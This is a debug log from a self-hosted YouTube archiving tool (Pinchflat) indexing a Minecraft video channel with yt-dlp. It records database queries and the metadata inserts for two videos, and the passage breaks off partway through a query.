08:32:00.029 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:32:22.114 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:52.117 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.031 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:33:21.781 [info] {"args":{"id":36},"id":7242,"meta":{},"system_time":1780403601781635671,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 08:33:21.783 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1987.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:21.784 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1988.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:21.785 [debug] QUERY OK source="media_items" db=0.7ms idle=1013.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 08:33:21.785 [debug] QUERY OK source="media_items" db=0.2ms idle=11.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 08:33:21.786 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 08:33:21.786 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:21.786 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:21.788 [debug] QUERY OK source="media_items" db=1.0ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [36] 08:33:21.789 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 08:33:21.789 [debug] Current batch of media processed. Will check again in 1000ms 08:33:21.789 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:21.789 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:21.789 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:21.790 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@itskingblake --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/King Blake👑/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/2a/33/2a330436f58738113763c534ceb896eaa990cd9f8683e2815a4e8260eb3c2e00.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3b/24/3b24635c86776e10b9ff09146967dd6cddffd90139d74d356510bd2760c816b6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 08:33:22.118 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:22.790 [debug] Current batch of media processed. Will check again in 1000ms 08:33:23.791 [debug] Current batch of media processed. Will check again in 1000ms 08:33:24.792 [debug] Current batch of media processed. Will check again in 1000ms 08:33:25.793 [debug] Current batch of media processed. Will check again in 1000ms 08:33:26.794 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Most Minecraft players will never find these structures naturally…\n\nFrom the mysterious Desert Well to the massive Woodland Mansion, these are 5 of the rarest structures in Minecraft! Some are hidden underground, some are thousands of blocks away, and one is so rare that most players don’t even know it exists.\n\nWhich of these structures have YOU found naturally?\n\n👑 Subscribe for more Minecraft builds, facts, secrets, and rare discoveries!\n\n#minecraft #minecraftfacts #minecraftstructures #minecrafttutorial #gaming", "duration" => 219, "filename" => "/downloads/rory/King Blake👑/2026-05-30 5 Minecraft Structures You'll Probably Never Find/5 Minecraft Structures You'll Probably Never Find [73e79OW-X4o].mp4", "id" => "73e79OW-X4o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=73e79OW-X4o", "playlist_index" => 1, "timestamp" => 1780174818, "title" => "5 Minecraft Structures You'll Probably Never Find", "upload_date" => "20260530"} 08:33:26.795 [debug] QUERY OK source="sources" db=0.5ms idle=1000.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [36] 08:33:26.796 [debug] QUERY OK source="sources" db=0.3ms idle=12.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:26.797 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=2.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 21:00:18Z], 36] 08:33:26.799 [debug] QUERY OK source="media_items" db=1.3ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Most Minecraft players will never find these structures naturally…\n\nFrom the mysterious Desert Well to the massive Woodland Mansion, these are 5 of the rarest structures in Minecraft! Some are hidden underground, some are thousands of blocks away, and one is so rare that most players don’t even know it exists.\n\nWhich of these structures have YOU found naturally?\n\n👑 Subscribe for more Minecraft builds, facts, secrets, and rare discoveries!\n\n#minecraft #minecraftfacts #minecraftstructures #minecrafttutorial #gaming", "5 Minecraft Structures You'll Probably Never Find", "b0404be1-94c5-4185-bbdf-ef0e2bc941f3", "73e79OW-X4o", false, "https://www.youtube.com/watch?v=73e79OW-X4o", 36, [], 219, false, 1, "/downloads/rory/King Blake👑/2026-05-30 5 Minecraft Structures You'll Probably Never Find/5 Minecraft Structures You'll Probably Never Find [73e79OW-X4o].mp4", false, false, 98, ~U[2026-05-30 21:00:18Z], ~U[2026-06-02 12:33:26Z], ~U[2026-06-02 12:33:26Z], "Most Minecraft players will never find these structures naturally…\n\nFrom the mysterious Desert Well to the massive Woodland Mansion, these are 5 of the rarest structures in Minecraft! Some are hidden underground, some are thousands of blocks away, and one is so rare that most players don’t even know it exists.\n\nWhich of these structures have YOU found naturally?\n\n👑 Subscribe for more Minecraft builds, facts, secrets, and rare discoveries!\n\n#minecraft #minecraftfacts #minecraftstructures #minecrafttutorial #gaming", "5 Minecraft Structures You'll Probably Never Find", "73e79OW-X4o", "https://www.youtube.com/watch?v=73e79OW-X4o", 36, 219, false, "/downloads/rory/King Blake👑/2026-05-30 5 Minecraft Structures You'll Probably Never Find/5 Minecraft Structures You'll Probably Never Find [73e79OW-X4o].mp4", false, ~U[2026-05-30 21:00:18Z]] 08:33:26.800 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:26.800 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 08:33:26.801 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140719] 08:33:26.801 [debug] Current batch of media processed. Will check again in 1000ms 08:33:27.801 [debug] Current batch of media processed. Will check again in 1000ms 08:33:28.803 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In this video, I’ll show you 5 insane Minecraft portal designs that will completely upgrade your world! From a creepy dragon portal to a giant pumpkin portal, these builds are perfect for survival or creative worlds.\n\nPortal Order:\n🔥 Crimson Portal\n⚡ On/Off Portal\n💣 Creeper Portal\n🎃 Pumpkin Portal\n🐉 Dragon Portal\n\nWhich portal was your favorite?\n\n👍 Like & Subscribe for more Minecraft build ideas!\n\n#minecraft #minecraftbuilds #minecrafttutorial #minecraftdesign #minecraftsurvival", "duration" => 366, "filename" => "/downloads/rory/King Blake👑/2026-05-26 5 Minecraft Portal Designs You NEED/5 Minecraft Portal Designs You NEED [TM5BcRFffhY].mp4", "id" => "TM5BcRFffhY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TM5BcRFffhY", "playlist_index" => 2, "timestamp" => 1779829232, "title" => "5 Minecraft Portal Designs You NEED", "upload_date" => "20260526"} 08:33:28.804 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=15.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [36] 08:33:28.806 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:28.807 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=12.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 21:00:32Z], 36] 08:33:28.809 [debug] QUERY OK source="media_items" db=0.7ms idle=13.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video, I’ll show you 5 insane Minecraft portal designs that will completely upgrade your world! From a creepy dragon portal to a giant pumpkin portal, these builds are perfect for survival or creative worlds.\n\nPortal Order:\n🔥 Crimson Portal\n⚡ On/Off Portal\n💣 Creeper Portal\n🎃 Pumpkin Portal\n🐉 Dragon Portal\n\nWhich portal was your favorite?\n\n👍 Like & Subscribe for more Minecraft build ideas!\n\n#minecraft #minecraftbuilds #minecrafttutorial #minecraftdesign #minecraftsurvival", "5 Minecraft Portal Designs You NEED", "d758033b-9e07-44cf-97fd-99d632e38671", "TM5BcRFffhY", false, "https://www.youtube.com/watch?v=TM5BcRFffhY", 36, [], 366, false, 2, "/downloads/rory/King Blake👑/2026-05-26 5 Minecraft Portal Designs You NEED/5 Minecraft Portal Designs You NEED [TM5BcRFffhY].mp4", false, false, 98, ~U[2026-05-26 21:00:32Z], ~U[2026-06-02 12:33:28Z], ~U[2026-06-02 12:33:28Z], "In this video, I’ll show you 5 insane Minecraft portal designs that will completely upgrade your world! From a creepy dragon portal to a giant pumpkin portal, these builds are perfect for survival or creative worlds.\n\nPortal Order:\n🔥 Crimson Portal\n⚡ On/Off Portal\n💣 Creeper Portal\n🎃 Pumpkin Portal\n🐉 Dragon Portal\n\nWhich portal was your favorite?\n\n👍 Like & Subscribe for more Minecraft build ideas!\n\n#minecraft #minecraftbuilds #minecrafttutorial #minecraftdesign #minecraftsurvival", "5 Minecraft Portal Designs You NEED", "TM5BcRFffhY", "https://www.youtube.com/watch?v=TM5BcRFffhY", 36, 366, false, "/downloads/rory/King Blake👑/2026-05-26 5 Minecraft Portal Designs You NEED/5 Minecraft Portal Designs You NEED [TM5BcRFffhY].mp4", false, ~U[2026-05-26 21:00:32Z]] 08:33:28.809 [debug] QUERY OK source="sources" db=0.2ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:28.809 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 08:33:28.810 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139638] 08:33:28.810 [debug] Current batch of media processed. Will check again in 1000ms 08:33:29.811 [debug] Current batch of media processed. Will check again in 1000ms 08:33:30.812 [debug] Current batch of media processed. Will check again in 1000ms 08:33:31.032 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@itskingblake --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/King Blake👑/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/2a/33/2a330436f58738113763c534ceb896eaa990cd9f8683e2815a4e8260eb3c2e00.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3b/24/3b24635c86776e10b9ff09146967dd6cddffd90139d74d356510bd2760c816b6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 08:33:31.033 [debug] Gracefully stopping file follower 08:33:31.033 [debug] QUERY OK source="sources" db=0.3ms idle=243.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [36] 08:33:31.034 [debug] QUERY OK source="sources" db=0.2ms idle=239.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:31.034 [debug] QUERY OK source="media_items" db=0.4ms idle=239.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 21:00:18Z], 36] 08:33:31.035 [debug] QUERY OK source="media_items" db=0.7ms idle=240.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Most Minecraft players will never find these structures naturally…\n\nFrom the mysterious Desert Well to the massive Woodland Mansion, these are 5 of the rarest structures in Minecraft! Some are hidden underground, some are thousands of blocks away, and one is so rare that most players don’t even know it exists.\n\nWhich of these structures have YOU found naturally?\n\n👑 Subscribe for more Minecraft builds, facts, secrets, and rare discoveries!\n\n#minecraft #minecraftfacts #minecraftstructures #minecrafttutorial #gaming", "5 Minecraft Structures You'll Probably Never Find", "fa68799c-5eee-43c6-87d1-cde74b804821", "73e79OW-X4o", false, "https://www.youtube.com/watch?v=73e79OW-X4o", 36, [], 219, false, 1, "/downloads/rory/King Blake👑/2026-05-30 5 Minecraft Structures You'll Probably Never Find/5 Minecraft Structures You'll Probably Never Find [73e79OW-X4o].mp4", false, false, 98, ~U[2026-05-30 21:00:18Z], ~U[2026-06-02 12:33:31Z], ~U[2026-06-02 12:33:31Z], "Most Minecraft players will never find these structures naturally…\n\nFrom the mysterious Desert Well to the massive Woodland Mansion, these are 5 of the rarest structures in Minecraft! Some are hidden underground, some are thousands of blocks away, and one is so rare that most players don’t even know it exists.\n\nWhich of these structures have YOU found naturally?\n\n👑 Subscribe for more Minecraft builds, facts, secrets, and rare discoveries!\n\n#minecraft #minecraftfacts #minecraftstructures #minecrafttutorial #gaming", "5 Minecraft Structures You'll Probably Never Find", "73e79OW-X4o", "https://www.youtube.com/watch?v=73e79OW-X4o", 36, 219, false, "/downloads/rory/King Blake👑/2026-05-30 5 Minecraft Structures You'll Probably Never Find/5 Minecraft Structures You'll Probably Never Find [73e79OW-X4o].mp4", false, ~U[2026-05-30 21:00:18Z]] 08:33:31.036 [debug] QUERY OK source="sources" db=0.2ms idle=241.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:31.036 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 21:00:32Z], 36] 08:33:31.037 [debug] QUERY OK source="media_items" db=0.7ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = 